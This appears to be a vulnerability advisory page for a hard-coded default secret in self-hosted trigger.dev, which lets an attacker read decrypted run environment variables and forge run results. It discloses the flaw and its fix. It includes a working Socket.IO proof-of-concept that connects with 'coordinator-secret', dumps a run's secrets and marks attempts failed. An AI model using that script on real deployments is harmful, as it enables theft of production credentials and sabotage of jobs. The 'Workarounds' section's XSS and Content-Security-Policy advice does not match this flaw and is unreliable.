CVE-2026-114088 — trigger.dev
Fix: triggerdotdev/trigger.dev#4236CVE-2026-114088 is a Hard-coded Credentials vulnerability in trigger.dev. A fix is available for trigger.dev — see the affected versions and patch details below.
Trigger.dev before 4.5.4 Hardcoded Coordinator Secret Authentication Bypass via Socket.IO
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
trigger.devnpmDescription
TL;DR
The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.
Vulnerabilities
This attack is made possible by 3 vulnerabilities in Trigger.dev:
1. Hardcoded default authentication secret (CWE-798, Critical)
PROVIDER_SECRET and COORDINATOR_SECRET are declared with .default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/*.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value
2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)
READY_FOR_EXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below
3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)
TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. attempt_* friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id
Exploit chain / PoC
import { io } from "socket.io-client";
const sock = io("https://<self-hosted-target>/coordinator", {
auth: { token: "coordinator-secret" },
transports: ["websocket"],
});
sock.on("connect", () => {
// exfil decrypted env for a known run id
sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
console.log(res.payload.environment);
// { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
});
// mark any attempt failed
sock.emit("TASK_RUN_FAILED_TO_RUN", {
completion: {
id: "<attempt_friendlyId>",
ok: false,
error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
},
});
});
Resolution
Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit 5ba8557a5 (#4236) — including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDER_SECRET / COORDINATOR_SECRET environment variables.
All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the READY_FOR_EXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.
Affected: self-hosted Trigger.dev < 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).
Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.
Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | trigger.dev | all versions | 4.5.4npm install trigger.dev@4.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for trigger.dev, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update trigger.dev to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-114088 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-114088 in your dependencies?
Find it across npm, including transitive dependencies.